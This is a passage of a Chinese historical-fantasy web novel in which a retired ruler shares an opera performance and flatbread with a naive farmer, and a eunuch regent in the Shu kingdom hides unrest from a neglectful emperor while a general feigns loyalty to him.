年轻时的自己,真的错过了太多风景,老文倒不是后悔没有照顾到每一位姑娘,只是对另一段没有经历的人生有些遐想。如果当初自己没有继承父亲的位子,而是做个逍遥贵公子,如今又是什么模样? 等到美女看累了,心事想完了,再去勾栏看戏听曲,放下一肩外物,享受退休生活。 反正只要有凌晨掌控着禁军,京城就翻不了天。 京城无事,则天下安。 好好给身心放个假,偶尔放纵一下生活也是很有必要的。等到厌倦了躺平摆烂的日子,明年过完年再派种平和邵之祁去孟玄家逗他玩玩,让他来汴京给自己表演喷火和变脸,岂不美哉~ 就在老文进去勾栏没多久后,一个皮肤黝黑,一身麻衣脚布,身形偏瘦但胳膊上却能隐约看见肌肉的农家汉子站在了人来人往的勾栏门前。 认识的人都唤他宋二哥,家住在京郊东南的宋家湾。 这两年中原无战事,水患也很幸运的没有波及到他家。风调雨顺,日子安乐,便是庄稼人的快活时光。 宋二哥家里种的麦子刚刚收割,打成了十几袋子麦粮堆进了土仓中。他还学人家种了桑树,在土院里腾出一间房养几窝蚕,各个养的肥大饱满,到时候一定能抽出很多丝。今年官府和村子里也没有什么差役,所以农闲后便无事可做。 年初春社时,宋二哥在土地庙前许下了丰收的祈愿,不奢望出门捡到一大块金子,只求自己这一年的辛苦努力能够收获应有的回报。 也许是土地公听到了自己的心声,如今一切都得偿所愿,身上也有了几个闲钱,于是他就决定,来城里买些纸火带回去还愿。 他正用好奇的目光打量着繁华的汴京城,在街道上走呢,老远就看到从沿街二楼吊下来一个花花绿绿的纸榜,由于不认识字,宋二哥也不清楚上面写的啥,只觉得这里不像别的地方人多吵嚷。 勾栏的班主用手撑着门辕,老远就看到了一副萌新模样的宋二哥,立刻朝着他喊道:“客人快来,请进请进!” 完事后还朝着街上过往的行人们吆喝道:“大家快进啊,现在还有位子,再迟点里面人满了,可就没地方坐了!今天可是有新到的妇人,如花似玉没见过,还有关东的老生角,名声大的不好请!” 老实说,宋二哥没见过什么大世面,听到班主这样说,顿时就从心底生出一股好奇,这是什么花样?有多如花似玉? 于是他有些拘谨的走到一直盯着他的班主面前,好奇的出声问道:“老爷,这里面是什么?唱戏的么?” 班主见他上钩,立刻开启了忽悠模式:“客人,这里面是从旁处来的歌剧,唱戏的野台子常见,像我们这样正规的大班子可少有,定要进去看看,才不虚此行啊!” 宋二哥听的更好奇了,再加上自己难得进城一趟,更是按耐不住想要一探究竟的心魔,回去后也好向同乡有吹嘘的话,于是便把心一横,今天就高消费一波了! 给班主交了二百钱后,宋二哥抖着肩膀提了提自己的包裹,将它摆正,背起来不那么累人后,怀着又激动又好奇、还有些紧张的心情,快步踩着木头做的高坡走进了黑黑的门洞里。 上了高坡后,踩着有些阴凉的地砖过了门洞,宋二哥这才发现里面是一处露天的四合楼。 院子里摆着许多正方形的桌子和长条板凳,二楼也有好多房间,许多年轻的汉子探着头向下张望,却并没有看正在表演的台上,而是齐齐朝着自己自己看来。 老实了一辈子的宋二哥被他们看的有些心虚,但一想到自己是花了钱的,又不偷又不抢,就是到了县尉大人那里,自己也有理。 光天化日之下,天子皇城脚跟,他们还能毫无缘由的打自己不成? 一念及此,他便低下头,硬着头皮走进了院子里。 其余的座位都已经满了,人们都在安静的嗑着瓜子、喝着热茶看台上的几个妇女敲鼓拍锣,咿咿呀呀的戏曲声传入耳膜,安静的环境中弥漫着热闹的氛围。 果然是大城市,这要是去俺们宋家湾唱,早就有村里的野汉吹着口哨、喊着让那几个妇女穿少点了,这么热的天! 宋二哥往前走了几步,眼睛不断的在场中扫视寻找空位,发现只有最前方偏左边的方桌上是一个老丈和一个壮汉,还空着两条长凳,其余位置都已经满了,便径直朝着这里过来。 何关听到脚步,心有所感,扭头看了一眼朝着这边过来的宋二哥,顿时眉头一皱,正要扶着桌子起身阻拦,却被老文伸手拦住了,让宋二哥就这么四平八稳的坐在了同桌的长凳上。 征战一生,老文什么没见过?千军万马中弓矢如雨尚且泰然自若,一个农家汉子而已,由他去吧~ 若真是不知死活的刺客假扮的,那又如何?不说何关和周围的御林军,老文自己也是有身手的。倒下的会是谁,还很难说。 这就是国服第一的自信。 宋二哥坐下后,自顾自的将肩膀上的挂袋取下来放在凳子上,伸出右手随意的按在上面,防着一个不注意被别人偷偷拿走,紧接着便迫不及待的抬头看向台上。 台子上一个青衣女孩,绕着台子转了几圈后,后台左右两侧又窜出好几个人,里面还夹杂着一个看着就不像好人的家伙。 因为他的皂头巾上插着一直毛笔,满脸都用锅灰还是黑墨涂染,胸口上穿领的花布从腰带露出来,奇形怪相,一眼望去就让人不舒服,有些吓人。 这人说了几句秀才相公们的诗词,还唱了些官府老爷们爱听的歌赋,一张巧嘴讲的非常顺溜,中间没有停顿,也没有出差错。 这一出表演罢了,台上人齐齐向着台下作揖拱手,又匆匆的退了下去,两张巨大的土红帘子从两旁向中间滑过,遮蔽了台上的一切。 明白是中场休息的宋二哥低下头,从挂袋里翻了半天,才掏出一张烤饼,丝毫没有注意到旁边的何关已经将手按在了刀柄上。 那烤饼色泽金黄,明显是用油抹了烤的,宋二哥嚼的“嗑嘣嗑嘣”,干脆的表皮碎的飞溅,他连忙伸出另一只手兜住,仰起脖子像吃方便面一样把碎渣捂进了嘴里。 一旁的何关皱着眉,不过不是警惕,而是震惊。 老文见他吃的这么香,不由得吞了吞口水,山珍海味吃多了,眼前这农家汉子手里的饼,好像也不错…… 人就是贱,有了东头想西头,谁也不能例外。 宋二哥察觉到同桌的两个人都盯着自己看,望着他们愣了愣后,面色犹豫了一下,又低头从挂袋里翻出两张烤饼,试探着伸出去问道:“老丈,老哥,你们要不也垫垫?这戏怕是一会才能散。” 何关脸上的肌肉抽了抽,正要无语的拒绝,却见老文笑呵呵的伸出手去,从宋二哥手中接了过来。 他心中一惊,连忙从老文手中抢过两张饼,仔仔细细的检查了一下外表,又掰开看了一下里面,凑到鼻子跟前闻了闻。 好像……没什么问题。 宋二哥看着被何关掰飞的满桌干渣,心中不禁觉得可惜,于是便将手中的半张饼叼在嘴里,伸出双手将它们归拢到一起,搓起来放在手心,捂进嘴里吃了。 只是这一下不小心吸了气,呛的他“库库”直咳嗽,吃进嘴里的饼渣也喷了一地。刚咬了一口饼的老文见状,连忙单手倒了一杯雪后春,推到宋二哥面前。 宋二哥红着脸憋着咳,十分粗鲁的“嗬”了一声后,握住杯子一饮而尽,这才感觉舒畅了点。 这是什么茶,怎么这么香? 刚入口好苦,过后嘴里怎么一股甜味久久无法散去?? 宋二哥怀着浓浓的好奇,伸手提起老文刚才端过的白汝茶壶瞅了瞅,有些不好意思的问道:“老丈,你这茶水,我能再喝点吗?” 老文被他憨厚的模样逗的一乐,笑着说道:“你敞开了喝,还有的是。” 宋二哥闻言喜上眉梢,那他就不客气了,反正这两人也吃了自己的饼,自己也不算占他们的便宜。既然这老丈如此说了,今天喝个饱! 于是,他在何关和二楼一群御林军粗重的呼吸、起伏的双肩中,一杯接一杯的当白水往嘴里灌! 那他妈是清泉节度使陈瑾不远千里进贡来的雪后春!! 清泉那地方几十年都不见得能下一次雪,雪后开春新长的茶树才能长出这种茶叶,会炒制雪后春的茶农更是比波斯的核科学家还少,整座皇宫里也才只有五盒!! 你他妈…… 正在这时,戏台上的帘子又拉开了,一个太公模样的白须老人率先登场,开场白说了一大堆,宋二哥只听清了他叫“张太公”,先前那个黑脸的怪人换了装束,妆做了张太公的下人。 张太公都胡子花白了,却还对下人说着想娶美娇娥,叫他去给自己说和。 听的台下宋二哥不住的露出鄙夷之色,对着老文咒骂那张太公是个“蔫了的霜茄子”、“干巴的晒黄瓜”,老黄牛想啃鲜嫩草,还拍着殿前都指挥使的胳膊问是不是这个道理。 何关咬着牙艰难的点了点头,宋二哥还以为他也是被罔顾人伦的张太公气的生气,顿觉遇到了知音,撇着嘴摇了摇头,继续看向台上。 这时候又上来一个妙龄女子,模样生的十分俊俏,身段甚是婀娜。看的宋二哥眼珠子瞪的老大,哈喇子都从嘴角流了下来。 那下人向她说明了张太公的意思,没承想她竟然真的答应了,气的宋二哥一拳砸在桌子上,忍不住要开口咒骂了。 楼上御林金卫手中的弩箭瞄准又放下了好几次,快要被这个庄稼汉折磨疯了。 见小娘子答应,张太公便要伸手去拉她的手,谁知她却一个转身躲开,随即便要出了一仓豆子、一仓粟粒、一仓稻米、一仓麦谷,还要一车彩布、一车丝绢、一车白纱、一车绸罗。 这话惊的张太公往前走了两步,又往后退了两步,抬脚也不是,落脚也不是,伸着颤抖的胳膊,手抖的像个筛子,半天说不出话来。 下人连忙跑过去扶住他,那小娘子做出一副傲娇的样式,转身便退去了后台。 张太公气的没处发泄,便瞅向了身旁的下人,顿时便挥拳打向了他,下人下意识的蹲下抱头一蹲,张太公扑了个空,身子转了一圈便跌倒在了地上,连帽子都甩没了。 已经完全沉浸在故事里的宋二哥哈哈大笑起来,惹的在场其他人也不禁笑出了声。老文更是被他的淳朴和爱憎分明所感染,露出了发自内心的微笑。 直到台上的人都退入后台,宋二哥这才惊觉一泡尿已经快要爆了,急匆匆的站起身左右张望,楼上的御林金卫皱眉抿嘴,真特么想下去捶死这家伙! 他们只能无奈的再次将弩箭瞄准宋二哥。 “老丈,可知这楼里那处有茅厕?刚才你的茶水喝多了,要憋不住了!” 老文嘴巴微张,仰天大笑,胡子跟着微微抖动,笑着指向戏台旁的右侧廊下:“从那里进去,往右再拐个弯就到了” 宋二哥急忙起身捂着裆部就往前跑去,可又猛的脚步一顿,扭头对何关语气焦急的呼喊道:“老哥,替我看着点行李,我一会就回!” 何关深吸了一口气,无奈的闭着眼睛点了点头。 等到他舒舒服服的释放完后再出来,方才的老丈和老哥早已不知去向,院子里的其他客人也都已经离去。 自己的挂袋从长凳移到了桌子上,并且上面还压了一块黑色木头做的方盒子,上面雕着精美的花纹。 宋二哥疑惑的走到桌子前,伸出双手扶着盖子,将它轻轻打开,映入眼帘的是满满一盒子茶叶,一股十分清香的气息扑鼻而来。 台上的伶人将器具收拢后,便退入了后台。方才还热热闹闹、人满人患的院子里,现在就只剩下宋二哥自己。 繁华落幕,旧戏散场,绕梁满回音。 戏里戏外人难分,醒来依旧贫贱身, 梨园静无声。 第166章 自暴自弃 西川,青城。 问道青城山,拜水都江堰。 自从李冰父子将都江堰修筑成功后,川蜀平原就成为了名副其实的天府之国,这里物产丰富、良田广布,再加上山川险峻,出入此处的道路崎岖蜿蜒,很少会受到外部势力的辐射影响。 因此,这里一直存在着任何时代都可以和中原王朝分庭抗礼的地方势力。其中最出名的就是三国时代,出师一表真名世,千载谁堪伯仲间。 嘉陵江上竹排灯筏缓缓飘流,恰似岁月无痕,巫山峡壁万仞千峰直插云霄,宛若天将挥斧;自贡盐井挥洒出最沉重的苦难神话,绵阳大曲浇灌出最放肆的诗酒天涯;青城山上道韵连连,问心求答,武侯祠外香火袅袅,惹人泪下。 云上金顶,天下峨眉。 孟蜀的弱,那是相对来说。跟已经统一的大郑帝国相比,确实存在差距,这是无法改变的事实。 但其他势力,还差得远呢。就是李雄御驾亲征提兵叩关,谁胜谁败,还真不好说。 蜀军在很短的时间内击败了大理军队,劝退并稳住了牂牁蛮,将原本水深火热的局势瞬间冰释消融,重新稳定了下来。 南方平定后,六万蜀军挥师北上,在剑阁和夷陵两地分兵驻防,随时准备守高地。凭借着易守难攻的地形,郑军纵使能打进来,也是要付出惨重代价的。 如果能够接连李唐共约盟好,双方齐心协力对抗江北,结局会如何,谁也不知道。 局势可以齐心协力的挽回,心态却不行。 逼的前老丈人退回大理后,孟玄已经彻底消沉了。人有时候就是这么脆弱,起点太高、生平太顺,就很难接受失败和挫折。 想当初引兵出关,纵横荆襄,多少城池望风而降,蜀国的影响力一度扩展到岭南、江汉、关中等地,而且自己还是所有枭雄中最年轻的英主。 那时候的孟玄真的是意气风发,放眼望去,满堂诸公皆老朽。自己只要复刻汉高祖的创业路线,实践诸葛武侯的战略构想,两路并进,破秦收宛,出潼关,定天下! 理想很丰满,现实却很骨感。 牺牲了数万儿郎性命换来的荆南被张照初偷了,荆北的控制范围也大幅缩水,北出关中也因为文训的介入而不得不撤回来。 心态崩了后的糊涂之举导致和牂牁蛮关系破裂,失去了威严;没有看黄历的意外事件更是与一向和睦的大理势成水火,如芒刺在背;不注重人际关系的维护和尊敬长辈的礼节,导致整个汉中地区白白落去了他人之手,北方门户大开。 怎么不让人破防呢? 如今大郑屯兵在自己家门口,指不定哪天就破门而入,大喊“fbi”了,压力和后悔、挫败和懊恼、恐惧和绝望交织在孟玄的心头,他也年纪轻轻的学起了文训的退休生活,把一切事物交给贴身内官、从小一起长大的陈谦。 他自己名为巡视治下,实则带着一群妃嫔四处郊游。 不怕万人阻挡,就怕自己投降。 什么叫雪上加霜?这就叫雪上加霜! 首先,这位陈公公只是对孟玄毕恭毕敬、点头哈腰。由于是一起长大的小伙伴,所以他非常明白孟玄的心理情绪和真实喜好,事事都挑好听的说,以至于孟玄以为他能够按照自己的意思处理好冗杂的政务。 他在孟玄面前是奴才,在别人那里可就是大爷了。蜀国朝堂中的刚直之士、心怀正义的官员,一个不落的全都被撸了官职,赶回家种地去了。 剩下的,要么是阿谀奉承之辈,要么是谄媚惑上之人,能做事的没几个,能惹事的倒是不少。 他们为了讨好和奉承陈谦,在民间大肆敛财,搜刮民脂民膏。燕子嘴里夺泥、缝衣针尖刮铁,蚊子腿上削肉,让本就因为连年征战而承担沉重徭役、赋税的蜀地百姓更加苦不堪言。 这些钱被送到陈谦手中后,内库得到了极大的充实。但是从某种意义上来说,陈谦也不完全是个王八蛋,因为这些钱他并没有给自己花,再说了,他一个太监,花哪去? 这些钱全部都用在了另一个用途上。 也就是雪上加霜的第二个方面—— 人跟人是不一样的,成都郊外村庄里的汉子如果事业遭遇挫折,只能眼睁睁的看着自家娘子翻着白眼背起包袱、抱着孩子回了娘家,自己孤零零的坐在空荡荡的院子里,守着冰冷的灶台发呆。 孟玄的事业遭遇挫折,会有十几个妃嫔争破头的想要安慰他受伤的心灵,姐妹们一起陪着陛下出去散散心,热热闹闹的旅个游,回来再继续为了生活而奋斗嘛~ 可是,旅游是要银子的,尤其是皇帝出游,不喊来上千人开路举旗,敲锣打鼓、抬轿牵马,面子往哪搁? 这些人都要吃喝拉撒。 妃嫔们虽然出了宫,可生活质量还得跟宫里一样,不能下降。沿途的州府县衙,不得好好拾掇拾掇,准备准备? 准备不了? 是你治理地方的能力不行,还是有心轻慢主上? 为了保住自己的乌纱帽和项上人头,当然主要是项上人头,处在陛下旅游路线上的蜀国各地官员只能拼命压榨百姓,弄点钱来装饰一下门面,以求能将这群活爹安全的送走。 总不能用我们自己的银子和俸禄吧? 这么一搞,百姓们红温了。 家里的鸡鸭鹅狗猫、牛羊犬马猪早都被拉走孝敬陈公公了,特么的哪里还有东西上交? 官吏们表示,有。 你们家的粮食拿出去卖给那些粮商,不是还能换点钱么?妇女们成亲时多少应该都有点金耳环银手镯之类的吧?实在不行红蜡烛也能拿去典当,你们家门口挂的铜锁也可以拆了拿去卖。 在这一过程中,官吏们,各级官员们也都乘机给自己捞了点好处和辛苦费,毕竟为王事效命也不能饿着肚子、渴着嘴跑嘛~ 当奉节城外一位老实了一辈子农民举起耙子,扎穿了征粮皂吏的脑袋时,巴蜀人民的怒火如同汽油桶里掉进了一颗火星,瞬间燃爆了整个西川!! 短短十四天,两百三十多道加急文书送入了成都。 陈谦看完后,给各地驻军将领批了一个字——杀。 在青城山上和妃嫔们秋游的孟玄根本不知道山下的官民已经打成一片了,还饶有兴趣的亲手给宫女们的衣服上画云霞彩虹,又让她们穿上宽松的道袍在林间追逐嬉戏,给妃嫔们的头上都戴了道家莲花簪,各个浓妆艳抹,饮酒作乐,号为“醉妆”,以为风雅之事。 是真不怕被雷祖劈…… 一位叫陶恩的廷士百夫长实在看不下去了,他虽地位地下,但对国家内部的乱象深感忧虑。虽然陈公公严令:任何人都不许对陛下透露这些烦心事,让陛下好好放松一下。 可这也太放松了吧?! 于是在某一天值守时,他纠结了许久,最终拼着得罪陈公公的风险,快步走到孟玄面前,跪下将自己知道的事一股脑的倒了出来。 结果就在孟玄将信将疑之际,妃嫔们齐齐都说这位陶将军是想引起陛下的注意,故意捏造危言耸听的故事。陶恩的手下们也纷纷都说他是喝了酒来当值的,而且以前就有点羊角疯的症状。 孟玄听到这么多人都这样说,这才松了口气。吓老子一跳,我还以为他说的都是真的呢~ 不过他也没怪罪陶恩,只是让人把他带下去休息了,从那以后,他就再也没有见过陶恩。 这么一来,再也没有人敢向孟玄说真话了。 仅存的那些正直无私、委曲求全而尽力做实事来挽救国家的忠臣良将们一看这样下去不行啊,必须得给陛下提个醒,让他赶快回来主政! 成都城都出现了坊民骚乱,火烧眉毛了都! 眼下,只有一个人能够唤醒还被蒙在鼓里的孟玄,而且还不惧陈谦的报复。甚至说,只要她想,一句话就能让陈谦死。 大蜀皇后,徐守心。 徐皇后是陛下的结发夫妻,二人自幼相熟,同居长干里,两小无嫌猜。长大后更是一双金童玉女,连理双壁。孟玄对她很是敬重和宠溺,几乎是百依百顺。 最重要的是,她哥徐守敬是剑阁防御使,手中握着五万蜀军。 徐皇后听了几位忠臣的冒死进谏后,凤眉一皱,先是把陈谦喊过来大骂了一通,甚至还准备叫宫人揍他,吓得陈谦连忙磕头赔罪,这才堪堪躲过了来自川渝甜妹的怒火。 徐皇后安慰了几位忠臣,并且答应他们自己明天就亲自出宫,凤临青城将陛下劝回来主持大局。 几名忠臣长舒了一口气,终于看到希望了。 于是他们齐齐行礼告退,离开了皇后的宫殿。 可是,当他们行至皇城宫门前,正要钻过门洞出宫回家时,守卫在宫门口的侍卫们突然发难,将他们全部砍翻剁倒,拖去了无人的角落丢弃。 第二天,皇后也没有如约出门,而是身体不适晕倒在了宫内,正在静心修养,也不再见臣子,包括娘家亲眷。 陈谦已经彻底疯狂了,这些事一旦被孟玄知道,他肯定是活不了的!任何人想要他的命,都得闭嘴! 杀徐皇后,他还没有那个胆子。 徐守敬可不是好相与的,徐家的根基更是盘根错节,连孟玄都不敢轻易翻脸。 但让她沉睡不起,还是很简单的。 第167章 屈身事贼 烛火摇曳,灯花爆燃。 掌令府的正堂偏殿中,一个头戴尖锥乌纱帽、身着白色绣鹤纹、身形单薄消瘦的男人正在蜡烛底下翻阅折批,看面相,也就三十多而已。 他的脸型很修长,下巴比较尖,一双细眼稍微一眯,便好似合上了一般。面白无须,偶尔咳嗽一下,看到要紧处,便提起一旁架在笔山上的鼠尾,点着朱砂勾画几笔。 好一副为国为民的良臣模样。 只是,当视线落在折批上的内容时,却是让人不禁瞳孔放大、遍体生凉!! “阆中民变,百余人冲击官衙,开仓放粮任由乱民暴众哄抢一空,知县、县尉皆被吊死城头,县丞首级被插在木叉上游街示众。” “奉节贼匪聚众闹事,攻占城池,治下暴民多有截道阻断驿马、砍树拦路毁桥者,以至所征税赋不得过境,唯有远绕方能迟达。” “绵竹治下,涪江之上,多有渔民荒废生产,皆扯锦布做帆,沿江上下劫掠官府车马,为首者自号‘小兴霸’,气焰嚣张,已成祸患,亟需调遣兵马镇压。” 在这些可怕的折批上,俱都写着一个醒目的“杀”字,覆盖在一堆黑色小字上头,还有滴红,格外显眼、令人不适。 陈谦批的有些乏了,将笔重新落在笔山上,微微出了一口气,抬头看向跪在一旁的一员将领。 铜盔黄甲铁护腕,虎背熊腰双鹤臂, “东升啊,陛下回来的路上,一定要确保安全平稳,尤其是不能让那些暴动的泥腿子们惊扰了圣驾,一点都不能!免得污了陛下和众位娘娘的眼睛、吵了他们的耳朵,你明白吗?” 一直低头伏首的黄旭将军听了陈谦的话后,将身子躬的更低了: “请恩府放心,末将一定会亲自安排人手清尘洒道,隔绝沿路无关人等,不使他们出现在三十里之内!一定会保护陛下平安返京。” 陈谦闭上眼睛,沉吟着说道:“唉……小心驶得万年船,五十里吧~” 黄旭快要贴到地面上的脸部表情微微一僵,连忙说道:“是,末将一定遵照恩府的钧令。” “嗯~” 陈谦听到他这样说,两个肩膀才微微向下一坍,皱着眉望向殿墙窗外的月光。 望明月,心悲凉。 千古恨,轮回尝。 他是个有文化的太监,读过很多史书,明白各种道理。 所以他的内心很清楚眼下蜀国内部所面临的困境和难题。也知道已经烈火烹油的局面正在愈演愈烈。 可是他没有办法。 完全依赖孟玄而生存的不止是那些喜欢争风吃醋的后宫女人,他也是。 而且那些女人们失去孟玄还可以转而依靠其他男人,他要是失去孟玄,可就什么都没有了。 总不能也跟着她们去陪人家睡觉吧?! 谁特么要啊?! 所以,孟玄想要什么,如何才能开心,怎么样才会快乐。他就得去做,去迎合,去做他手中的刀,或者说替罪羊黑手套之类的……随便什么称谓都行。 这是一条不归路,当他提起朱笔批阅第一道由前朝大臣们写来的折批时,他就不能回头了。回头的结果可能是被五马分尸,也可能是被凌迟处死,还可能是做天灯灯芯。 反正一定会死,而且还不会轻易的死,一定是受尽折磨的死。 那些大臣们十年寒窗苦读,千军万马过独木桥才高中科举,宦海沉浮数十载,最后成了自己的下属,心中能服气才怪。 那些头铁的直愣子还好对付,最可怕的就是那些对着自己嘻嘻哈哈,极尽溢美之词,甚至还嚷嚷着要为自己立生祠的人。 今天他们对自己有多崇敬,失势时就会有多残忍。 所以,无论是谁,只要胆敢影响自己在孟玄心中的地位和形象,统统都要去死! 至于烽烟四起的各地州府乱民,统统都杀!杀到再也没有人敢反对,杀到再也没有人敢反抗,杀到再也没有人能开口,一切问题就都不复存在了!! 我从小就是个阉人,不能品尝到男欢女爱,已经是凄凉至极。现在你们连活下去的机会都不给我,那就都去死!谁也白想活!! 没有考虑过以后吗? 有, 但没必要。 如果自己连明天的太阳都看不到,那几年后、十几年后郑军入川,又关自己什么事??我死之后,管他洪水滔天!! 让陈谦替自己处理政务,孟玄起初还有点担心他能力不够处理不好,但随着后来烦心的事越来越少,不好的消息逐渐消失,孟玄也就彻底放下心来,谁会喜欢上班呢? 有人替自己上班,而且送来的银两越来越多,沿途一路上看到的都是国泰民安风调雨顺,国家蒸蒸日上。 他决定像戈尔巴乔夫一样好好在索契度个假,等到身心都彻底放松以后,再以充沛的精力和十足的信心,让孟蜀再次伟大。 坏人绞尽脑汁,不如蠢人灵机一动。 地处西川的大郑探子和细作们,费尽千辛万苦、摇动三寸不烂之舌,花光朝廷经费,才取得那么一点点成绩。结果万万没想到蜀国朝堂会出陈谦这么个神人。 听说陈总管严令不许乱民们惊扰蜀皇的圣驾,大郑中情局西川分部的头头脑脑们齐聚一堂,传令所有特工一定要坚决拥护和支持陈总管的工作,无论如何也要帮他把孟玄蒙在鼓里! 历经四世,雄踞西南的孟氏蜀国,风雨飘摇…… 但,疾风知劲草,板荡识诚臣,越是到了危急艰难的时刻,就越会涌现出赤胆忠心的热血之士。他们眼里装的,是黎庶百姓,他们心中忧的,是家国天下。 眼见陈谦势大,暂时不可硬刚后,许多内心正直的蜀国大臣们,都装起了孙子,忍着恶心对他百般讨好,只求博取他的信任,只为了等待一个机会。 任谁也想不到,这次被派去执行重要任务的黄旭黄将军,世人皆知的陈谦心腹、阉狗鹰犬,竟然就是最恨陈谦的那批人之一。 当他十分听话、负责的把沿途npc强势驱逐清理,成功将孟玄和后宫旅行团送回成都,没有出半点纰漏后,彻底让陈谦放下了戒心,允与他带剑进入自己的掌令府。 但黄旭每次登门,还是会很主动的在门口摘下佩剑交给府中小太监,此举让陈谦颇为满意,对他甚至不再以下属的身份看待,而是朋友。 八月初三这天,立在掌令府的壮硕侍卫和小内官,又迎来了这位对陈总管言听计从、忠心不二的黄将军。 “黄将军,今个给大总管又送来了什么好东西啊?” 小内官早就和黄旭熟络了,看到他一身便服从远处打马而来,隔着老远就挥手朝他打招呼。 黄旭呵呵笑着从马上跳了下来,从马脖子上取下一个袋子,走到小内官面前神秘兮兮的张开口子给他看。里面是几个琉璃瓶子,还有一个白玉长壶。 小内官好奇的问道:“这不是……” “哈哈哈,最近秋至闷热,末将想着恩府近来可能湿气傍身,不得脱展,因此就去了杏仁堂找那老郎中学了几日拔火去湿的手艺,特来伺候恩府~” 卧槽…… 黄旭的谄媚程度,让这名陈谦一手带大的心腹小内官都觉得有些肉麻,不过也确实是有心了,看得出来他是真心对大总管好啊! 想想也是,如今整个蜀国谁不知道黄旭是大总管的马仔? “将军真是有心了,军务繁忙,还记挂着大总管的身体,肯下功夫去学习这些小技,真是叫奴婢佩服!”小内官发自内心的感慨拱手道。 黄旭闻言收起笑意,脸色变得十分正经,仿佛责怪小内官说错话了一样: “哎~王兄,此言差矣,恩府的任何事情,对于你我来说,都不是小事。都是需要打起十二分精神去操办的,如此才能不负他老人家对你我的恩情啊~” 草,要不说人家这官能越做越大呢! 小内官连忙端正态度说道:“黄兄说的极是,是奴婢一时疏漏。” “唉~” 黄旭站在掌令府的大门口,手中抱着袋子,颇为惆怅的看着两旁的街道说道: “恩府他老人家为国为民、为陛下操碎了心,近来身子都消瘦了。听说前几日还有些食欲不振,你我同为他的学生后继、左右臂膀,更要从小事上去关心他老人家的身体健康和心情舒畅。需得记住,只有他老人家千岁无疆,你我才能富贵加身,平步青云啊!” 这话就有点走心了,小内官听的也是频频点头,正是这个道理。 感慨过后,黄旭又恢复了笑容:“唉,不说这些烦心事,以免影响一会我替恩府调理的手法,哈哈哈~” 小内官也是会心一笑:“哈哈哈哈,好好好,将军快请进。” “嗯嗯,来来来,快把我的佩剑解下来,莫要耽误了要紧事。” 见黄旭朝着一旁的侍卫吩咐,小内官不禁露出无奈和嫌弃的表情来,对着两手提着袋子,还撅起半个侧臀让侍卫解剑的黄旭说道: “黄兄,你这又是何必?恩府早就明令你可带剑进府、上堂回话,你又干嘛要如此恪守礼节,使得生分呢?” 黄旭一边配合侍卫解下佩剑,一边对小内官摇头笑道: “恩府信任我,是我的荣幸,但此等要事,我却不能听他老人家的。王兄细想,若是有人久忍不漏,也获此殊荣,藏器于身接近恩府,那就遭了! 所以无论是谁,都不能携带兵器进府面见,你我作为心腹,更是要以身作则,免得给了小人借口,叫恩府为难。” 小内官听的重重点头:“还是黄兄想的周到,思虑深远啊!确实是这么个理。但你……唉!” 黄旭的忠诚程度,让小内官都有些自叹不如。对方真的是事无巨细的替大总管考虑,简直是……没谁了! 天底下根本找不出第二个人! 侍卫小心翼翼的将黄旭的佩剑解下,恭恭敬敬的弯着腰退到了一旁。黄旭不急不缓的将手中的袋子递向另一旁的一个侍卫,对小内官说道: “王兄,快来例行公事,今日颇有感触,与兄多聊了几句,恩府想来等的急了,一会忙完他老人家的大事后,我定要寻你讨杯酒喝~” 小内官一把将他伸直的手臂按下,推着他雄壮的后背就往门里搡:“知道迟了还不快去,磨蹭个什么!” 黄旭啧着嘴说道:“哎呀,这不行,按例得再摸一遍身……” “摸甚么?你有那闲心,我还没那闲工夫呢!快去,一会出来了教你尝尝我新得的丘嫂酒!” 被小内官一把推进门的黄旭无奈的挺胸歪头,最终苦笑道:“行,今日定要与兄大醉一场,到时候你可别心疼我喝的多~” 小内官挥着手笑道:“管够,管够,快去~” “那我去了啊~” “哎呦~~快去!!” 黄旭哈哈笑着将手中的袋子提了提,暂别了小内官,转身面向院子,刚才还让人如沐春风笑脸瞬间微收!虽然依旧带着淡淡的笑容,但仔细去看他的眼睛,就能发现隐藏着一道锐利如刀的锋芒!! 小内官看着他熟门熟路的去往了正堂,立在掌令府的大门下,双手拉着一起耷在身前,笑着摇了摇头,随即歪头向一旁的侍卫说道: “去我的院子,把始安知县孝敬我的那几坛华蓥山酿尽数搬到门房来,今日我定要放倒这个黄东升!” 侍卫听后恭敬的抱拳弯腰道:“是!” 偏堂里,陈谦正在如山的案牍中埋头苦阅。时不时直起背来扩扩胸,扭扭脖子,看起来累的不轻。 奸臣……也不是那么好当的。 听到门口传来脚步声,他抬头循声望去,见是黄旭提着个袋子站在门口,朝着自己作揖行礼,随即笑道:“哦~是东升来啦?快进来。” 得了陈谦的允许后,黄旭这才提着袋子进到了偏堂里,走到陈谦面前将袋子放在明亮的地砖上。而后十分熟络的站到他的背后,从婢女手中接过形状像杀猪刀的户扇,挥退她们,自己亲手为陈谦扇了起来。 陈谦察觉到后更是心中感动,不过随即又面色一怒,用手指敲着桌子上的折批怒骂道: “你看看这些个酒囊饭袋!竟然连几个流民破落户都镇压不住,整个奉节府竟然都被这帮泥腿子抢占了去,如何能不叫我生气!!” 黄旭手中的户扇依旧摇个不停,只是身子微微前倾,望向桌面上的折批,也不禁皱起了眉头。 “想不到奉节知府竟然如此无能,整整八千乡军却平定不了一群流民骚乱,吃了这么多年朝廷的米面,都吃进狗肚子里去了!” 陈谦深以为然的盯着桌面点头道:“正是如此!若不是看在他孝敬内库十三万两银子的份上,我早就拿他下狱问罪了!唉!” 顿了顿后,陈谦皱着眉头喃喃道:“奉节之乱必须赶快平息,否则朝廷将失去和永安、江陵的联系,若是郑国趁着此时动武,东面将无人守御啊…… 唉,可是此时北方剑阁郑军兵威正盛,需得全力应对,无法抽调出人马和将军去镇压奉节……” 黄旭深深的皱起了眉头,事关国家,他不禁认真的想起了对策:“恩府,愚下有些想法,不知该不该说……” 陈谦听后啧了一声,略有不满的地说道:“你我之间,还有何不能言语之事?速速说与我听。” 黄旭点了点头后,盯着折批说道:“看奉节知府的奏报,祸乱谋逆者并非一人,而是一群。既然如此,若朝廷大军压境,他们必然会齐心反抗,可若是松缓下来,他们必定会自己争权夺利,内斗不休。 恩府只需派遣一名信使,让他们选出一位头领来,朝廷便认此人为奉节知府,如此一来,不用朝廷动手,他们自己便狗咬狗一嘴毛了。 等到他们自相残杀、精疲力尽之时,再叫奉节知府挥师攻城,必然可破。若这样都不能取胜,他这个知府的官帽,也该让与他人了。” 陈谦仔仔细细的听完后,茅塞顿开、面色大喜,转身拍着近在咫尺的黄旭哈哈大笑道: 